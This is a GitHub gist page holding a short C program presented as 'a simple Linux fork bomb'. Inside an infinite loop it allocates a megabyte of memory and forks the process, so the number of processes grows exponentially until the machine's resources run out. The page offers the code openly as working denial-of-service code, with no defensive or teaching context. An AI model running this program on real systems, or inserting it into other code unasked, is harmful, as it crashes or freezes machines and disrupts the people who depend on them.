Skip to content

Instantly share code, notes, and snippets.

@amittaigames
Created November 23, 2016 02:14
Show Gist options
  • Save amittaigames/9b4ae917e7a97fc6c840bc32fa06ec7d to your computer and use it in GitHub Desktop.
Save amittaigames/9b4ae917e7a97fc6c840bc32fa06ec7d to your computer and use it in GitHub Desktop.
A simple Linux fork bomb
#include <stdlib.h>
#include <unistd.h>
int main(void) {
for (;;) { // Start an infinite loop
char* c = malloc(1000000); // Allocate one million bytes of memory
fork(); // Fork the current process (will exponentially increase)
}
return 0; // Will never reach this point
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment